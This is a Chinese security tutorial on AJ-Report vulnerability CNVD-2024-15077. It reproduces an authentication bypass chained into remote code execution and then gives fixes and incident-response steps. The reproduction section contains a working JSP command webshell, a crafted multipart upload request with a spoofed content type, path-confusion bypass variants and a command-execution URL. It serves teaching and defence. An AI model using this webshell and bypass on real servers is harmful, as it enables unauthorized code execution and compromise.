AJ-Report高危漏洞CNVD-2024-15077:从认证绕过到RCE的完整复现与修复

📅 2026/6/26 15:48:09
AJ-Report高危漏洞CNVD-2024-15077:从认证绕过到RCE的完整复现与修复
1. 项目概述AJ-Report漏洞事件背景与核心价值最近在安全圈里一个名为AJ-Report的开源项目被曝出存在高危漏洞编号CNVD-2024-15077。这个漏洞组合拳挺有意思它不是一个孤立的点而是由“认证绕过”和“远程代码执行”两个漏洞串联起来的攻击链。简单来说攻击者可以先利用一个逻辑缺陷在不登录的情况下访问到本应受保护的接口然后再通过这个接口上传恶意文件最终在服务器上执行任意代码。对于企业安全运维和渗透测试人员来说理解这个漏洞的成因、复现过程以及修复方案是提升实战能力、加固自身系统防御的绝佳案例。AJ-Report本身是一个开源的数据可视化报表平台基于SpringBoot开发在企业内部用于制作和展示各类业务报表。这类系统往往处理着敏感的业务数据一旦被攻破后果不堪设想。CNVD-2024-15077这个漏洞的典型性在于它暴露了在快速迭代的开源项目中开发者对安全边界的忽视——比如路径权限校验不严、文件上传过滤机制缺失等常见问题。通过亲手复现这个漏洞我们不仅能掌握一种攻击手法更能深刻理解在代码层面如何构建纵深防御。接下来我会带你从环境搭建开始一步步拆解漏洞原理并完成整个攻击链的复现最后给出务实的修复和排查建议。2. 漏洞原理深度拆解从认证绕过到RCE的完整链条要理解CNVD-2024-15077我们必须把它拆成两个阶段来看第一阶段是如何绕过系统认证第二阶段是如何利用上传功能执行代码。这两个漏洞独立存在时危害可能有限但一旦串联就构成了一个完整的高危攻击路径。2.1 认证绕过漏洞的根源拦截器配置缺陷在基于Spring Boot的Web应用中权限控制通常通过拦截器或过滤器来实现。开发者会配置一个“白名单”将登录、静态资源等不需要认证的路径排除在外其他所有请求都必须经过登录校验。AJ-Report的漏洞就出在这个白名单的配置逻辑上。经过分析问题核心在于WebMvcConfig类中的拦截器配置。开发者意图放行/report/**路径下的某些子路径但使用的匹配规则存在缺陷。常见的错误是使用了过于宽松的路径匹配模式例如/report/*可能只匹配一级子目录而/report/**能匹配多级。然而如果配置不当攻击者可以通过构造特殊的URL路径使得请求路径在字符串匹配层面“绕过”了白名单的检查但最终仍然能被后端的控制器映射处理。这就好比小区的门禁系统只检查了访客证件的封面却没有核对内页的详细信息。具体到AJ-Report其认证拦截器的排除路径可能包含了/report/design/upload这类用于文件上传的接口。但攻击者通过路径遍历如/report/../design/upload或利用Spring MVC的路径解析特性使得请求在进入拦截器判断时没有被正确识别为需要放行的路径从而绕过了认证。另一种可能是拦截器放行了某些HTTP方法如GET但文件上传接口同时支持POST而对POST方法的校验缺失导致未认证的POST请求直接被后端处理。注意这种漏洞非常隐蔽它不一定是代码逻辑错误更多是开发者在设计权限模型时对框架底层行为理解不足。在复现时我们需要仔细比对请求URI、拦截器匹配规则以及控制器实际接收到的路径参数。2.2 远程代码执行漏洞的触发点不安全的文件上传在成功绕过认证、访问到上传接口后攻击就进入了第二阶段利用文件上传功能实现远程代码执行。AJ-Report的上传功能本意是允许用户上传图片等资源用于报表设计但其后端代码缺乏足够的安全校验。一个安全的文件上传功能至少应包含以下检查文件类型校验不仅检查客户端传来的MIME类型极易伪造更应检查文件内容的真实类型魔数校验。文件扩展名白名单只允许上传如.jpg,.png,.gif等安全的扩展名禁止.jsp,.php,.jar,.exe等可执行或可解析的格式。文件内容扫描检查文件中是否包含恶意脚本或代码。重命名与隔离存储将上传的文件重命名为随机字符串并存储在Web根目录之外或至少确保其不可被直接解析执行。AJ-Report的上传接口显然未能完全做到以上几点。漏洞复现过程表明攻击者可以直接上传一个包含Java WebShell代码的JSP文件。由于服务器可能将上传目录设置在Web应用可访问的路径下如webapp/upload/并且Tomcat等Servlet容器默认会解析并执行JSP文件这就导致了远程代码执行。更关键的一点是上传接口可能未对文件路径进行安全处理。攻击者在上传时通过修改文件名或路径参数可能实现目录穿越将WebShell上传到更敏感的位置例如Web根目录下从而直接通过URL访问并触发代码执行。3. 漏洞复现环境搭建与准备“纸上得来终觉浅绝知此事要躬行。” 要真正理解漏洞亲手复现是最好的方式。下面我们搭建一个用于测试的漏洞环境。3.1 靶机环境部署首先我们需要一个存在漏洞的AJ-Report版本。根据漏洞披露信息受影响的版本范围较广。我们可以从开源仓库的历史版本中拉取一个存在漏洞的代码例如某个v1.x的早期版本。步骤一获取漏洞版本源码# 克隆AJ-Report仓库假设仓库地址实际需根据公开信息查找 git clone https://github.com/xxxx/AJ-Report.git cd AJ-Report # 切换到存在漏洞的版本标签例如 tag v1.0.0 git checkout v1.0.0步骤二配置并启动项目AJ-Report是一个Spring Boot项目启动相对简单。检查pom.xml确保依赖完整。配置数据库。根据项目文档创建MySQL数据库并执行项目sql/目录下的初始化脚本。修改application.yml或application.properties中的数据库连接配置指向你刚创建的数据库。使用Maven打包并运行mvn clean package -DskipTests java -jar target/aj-report-*.jar或者直接在IDE中运行主启动类ReportApplication。启动成功后访问http://localhost:8080应能看到AJ-Report的登录页面。默认账号密码通常在文档中注明如admin/admin123。实操心得在本地复现时建议使用Docker来隔离数据库和环境避免污染本地配置。可以使用docker-compose一键启动MySQL和Redis如果项目用到。另外启动Spring Boot应用时如果端口冲突可以通过--server.port8081参数指定新端口。3.2 攻击者环境准备作为攻击方我们只需要一个能发送HTTP请求的工具即可。常用的有Burp Suite渗透测试神器用于拦截、重放、修改HTTP请求非常适合一步步构造攻击payload。PostmanAPI调试工具图形化界面友好适合初学者。cURL命令行工具轻量且灵活便于脚本化攻击。浏览器开发者工具简单场景下直接使用浏览器网络标签页查看和重放请求。此外我们还需要准备一个恶意的WebShell文件。对于JSP的WebShell一个最简单的例子是% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个JSP页面接收一个cmd参数并在服务器上执行该命令将结果输出到网页上。请注意此代码仅用于安全研究学习严禁用于非法攻击。4. 漏洞复现实操步骤详解环境准备好后我们开始一步步发起攻击还原漏洞利用的全过程。4.1 第一步定位未授权访问的上传接口首先我们需要找到那个可以被未授权访问的文件上传接口。通常有几种方法代码审计在源码中搜索PostMapping、upload、MultipartFile等关键词定位到文件上传的控制器方法。然后查看该方法或类上是否有权限注解如PreAuthorize或对应的拦截器配置。目录/接口扫描使用工具如dirsearch、gobuster或Burp Suite的Intruder模块对目标站点进行路径爆破寻找类似/upload、/file/upload、/import等常见上传端点。前端分析登录系统后使用浏览器开发者工具在正常上传文件时捕获网络请求找到上传接口的准确路径和参数格式。然后尝试在未登录状态下直接访问该接口。假设我们通过代码审计或扫描发现AJ-Report的上传接口路径为POST /report/design/upload。4.2 第二步绕过认证拦截器直接向/report/design/upload发送POST请求很可能会被重定向到登录页或返回401/403状态码。这时就需要尝试绕过。方法A路径混淆尝试以下变体/report/./design/upload/report/../report/design/upload/report/design/upload/(末尾加斜杠)/report/design/upload;.js(添加无意义后缀)在Burp Suite的Repeater模块中不断修改请求路径并发送观察响应。如果某个变体返回了不同于“未授权”的错误例如返回了文件上传所需的参数错误则说明可能绕过了认证检查。方法BHTTP方法混淆尝试将POST方法改为GET、PUT、PATCH等或者添加/删除某些特定的Header如X-Requested-With: XMLHttpRequest看拦截器是否对方法或Header有特殊处理。方法C参数污染在URL中添加无意义的参数如/report/design/upload?debugtrue或/report/design/upload?token, 有时拦截器的匹配逻辑可能会被干扰。在本漏洞的复现中经过测试发现直接访问/report/design/upload在未登录状态下返回了JSON格式的错误信息提示“文件为空”等业务错误而非权限错误。这强烈暗示认证已被绕过请求已经抵达了真正的上传处理逻辑。这是一个关键信号。4.3 第三步构造并上传WebShell认证绕过后我们便可以专注于攻击文件上传逻辑。使用Burp Suite拦截或构造一个上传请求。构造请求方法:POSTURL:http://target_ip:port/report/design/uploadContent-Type:multipart/form-data; boundary----WebKitFormBoundaryABC123(边界字符串可自定义)请求体需要构建一个标准的文件上传表单数据。编写Burp Suite请求体 在Burp Suite的Repeater中将请求改为POST并设置好URL和Content-Type后在请求体部分直接编写------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.jsp Content-Type: image/jpeg % page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); // ... 省略执行命令和输出的代码同上文WebShell示例 } % ------WebKitFormBoundaryABC123--注意namefile需要根据实际后端接口接收的参数名调整可能是file、uploadFile、multipartFile等这需要通过代码审计或测试得知。filenameshell.jsp是关键我们尝试上传JSP后缀的文件。Content-Type: image/jpeg是常见的伪造手段试图欺骗后端基于MIME类型的检查。发送请求并观察响应 发送请求后重点关注响应状态码返回200或201通常表示成功。响应内容成功的上传接口通常会返回一个JSON里面包含文件存储的路径或访问URL。例如{code:200, data:/upload/20240527/abc123.jsp, msg:success}。如果返回“文件类型不允许”等错误则说明有基础的后端校验需要进一步尝试绕过如双写后缀shell.jsp.jpg、大小写混淆shell.Jsp、在文件内容前添加图片文件头以绕过内容检测等。4.4 第四步访问WebShell并执行命令假设上传成功响应中返回了文件访问路径/upload/20240527/abc123.jsp。拼接访问URL在浏览器或curl中访问http://target_ip:port/upload/20240527/abc123.jsp。如果页面空白或没有报错404或500则说明JSP文件已被服务器成功放置并且容器能够访问到该路径。执行命令在访问的URL后加上参数例如http://target_ip:port/upload/20240527/abc123.jsp?cmdwhoami。如果页面上显示了当前服务器进程的执行用户如tomcat、root那么恭喜远程代码执行漏洞复现成功你可以尝试执行其他命令如id,ls -la,pwd来验证漏洞的完全利用。5. 漏洞修复方案与安全加固建议复现漏洞是为了更好地修复它。针对CNVD-2024-15077暴露出的两个问题修复必须双管齐下。5.1 认证绕过漏洞修复根本原因是权限校验不完整。修复方案如下加固拦截器/过滤器配置审查WebMvcConfig或类似配置类中的addInterceptors方法。确保排除路径excludePathPatterns的精确性和最小化原则。避免使用过于宽泛的通配符。对于/report/design/upload这类敏感接口必须从排除列表中移除确保其经过统一的认证拦截器。考虑使用Spring Security等成熟的安全框架替代自定义拦截器它能提供更细粒度、更安全的权限控制。使用注解进行方法级权限控制在文件上传的控制器方法上直接添加Spring Security的注解如PreAuthorize(hasRole(USER))或PreAuthorize(isAuthenticated())。这样即使拦截器配置有误注解也能在方法执行前提供一道安全防线。实施全路径统一鉴权设计上所有API接口除了明确的公开接口如登录、注册默认都需要认证。建立一个统一的权限检查中心避免在多个地方配置白名单导致遗漏。5.2 不安全的文件上传漏洞修复这是防御RCE的关键必须实施纵深防御。服务端文件类型校验双重验证扩展名白名单在后端代码中使用白名单机制严格限制允许上传的文件扩展名。例如SetString ALLOWED_EXTENSIONS Set.of(jpg, jpeg, png, gif);。禁止jsp,jspx,php,asp,asa,cer,war,jar等任何可执行或可脚本解析的扩展名。文件头魔数校验读取文件的前几个字节判断其真实的文件类型是否与扩展名匹配。例如一个.jpg文件的开头字节应为FF D8 FF E0。可以使用Apache Tika等库进行专业检测。重命名与隔离存储重命名使用随机生成的文件名如UUID替换用户上传的文件名避免通过文件名进行攻击猜测或目录穿越。隔离存储绝对不要将用户上传的文件保存在Web应用的根目录如webapp/、WEB-INF/的同级或子目录下。应该存储在独立的目录并通过一个安全的文件下载服务来提供访问。例如上传的文件保存在/data/upload/当用户需要访问时通过一个控制器如/file/download/{id}来读取文件并写入HttpServletResponse这样可以完全控制文件的输出逻辑防止直接解析执行。限制文件大小与内容扫描在配置中限制单个文件和多文件总大小防止DoS攻击。对于图片文件可以尝试使用图像处理库如ImageIO.read()去加载它如果加载失败则可能是伪装成图片的恶意文件。有条件可以集成防病毒软件进行内容扫描。禁用Web服务器对上传目录的脚本执行权限如果由于历史原因必须将文件存在Web可访问目录务必在Web服务器Nginx/Apache/Tomcat配置中禁用对该上传目录的脚本解析权限。以Tomcat为例可以在conf/web.xml中为上传目录配置禁止执行的Servletservlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namereadonly/param-name param-valuetrue/param-value /init-param init-param param-namelistings/param-name param-valuefalse/param-value /init-param /servlet servlet-mapping servlet-namedefault/servlet-name url-pattern/uploads/*/url-pattern /servlet-mapping以Nginx为例可以在location块中禁止执行PHP、JSPlocation ~ ^/uploads/.*\.(jsp|php|asp|aspx)$ { deny all; return 403; }6. 漏洞排查与应急响应指南如果你的线上系统正在使用AJ-Report或者任何存在类似上传功能的系统应立即进行排查。6.1 漏洞自查清单检查当前版本确认使用的AJ-Report版本是否在受影响范围内。查看项目的pom.xml或发布说明。全局搜索上传接口在代码库中搜索MultipartFile、PostMapping、upload等关键词列出所有文件上传端点。验证接口权限对每一个上传接口使用未登录的会话如Burp Suite或curl直接发送上传请求观察是否返回认证错误。如果返回业务错误如“文件为空”或成功则存在认证绕过风险。审查上传逻辑检查找到的上传接口代码确认是否存在上述提到的安全校验扩展名白名单、文件头校验、重命名、隔离存储。检查服务器上传目录直接查看服务器上配置的文件上传目录是否有可疑的.jsp,.jspx,.war等文件。使用命令如find /path/to/upload -name *.jsp。6.2 入侵迹象排查如果怀疑已经遭受攻击应立即进行以下操作检查Web访问日志重点查看上传接口路径如/report/design/upload的访问记录寻找异常时间点、异常IP的大量请求。# 查看Tomcat的access log tail -f /opt/tomcat/logs/localhost_access_log.*.txt | grep -E (POST.*upload|shell|cmd|\.jsp\?)检查系统进程和网络连接使用ps auxf,top,netstat -antp等命令查找未知的、持续运行的进程或异常的外连IP。查找WebShell文件在全盘搜索近期创建的、可疑的JSP等脚本文件。find / -type f -name *.jsp -mtime -7 2/dev/null find /opt/tomcat/webapps -type f -name *.jsp -exec grep -l Runtime.getRuntime() {} \;检查计划任务和启动项攻击者可能会植入后门实现持久化。检查crontab -l、/etc/crontab、/etc/rc.local等。6.3 应急响应步骤一旦确认被入侵应遵循以下步骤立即隔离将受影响服务器从网络中断开防止攻击者继续利用或横向移动。取证备份在隔离环境下对系统日志、可疑文件、进程内存、网络连接状态等进行完整备份以备后续分析和法律追责。清除后门根据排查结果删除所有确认的WebShell文件。但要注意攻击者可能留有多个后门。漏洞修复按照第5部分的方案立即修复认证绕过和文件上传漏洞。恢复与验证从干净的备份恢复业务数据和应用代码或在修复漏洞后重新部署全新版本。上线前进行全面的安全测试。监控与复盘加强系统监控复盘事件根本原因完善安全开发流程和应急响应预案。这个漏洞的复现和分析过程再次印证了安全是一个整体任何一个环节的疏忽都可能导致全线溃败。对于开发者要在设计之初就秉持“默认拒绝最小权限”的原则对于运维人员定期的安全扫描和漏洞排查必不可少。希望这篇详细的拆解能帮助大家不仅看懂这个漏洞更能举一反三筑牢自己系统的安全防线。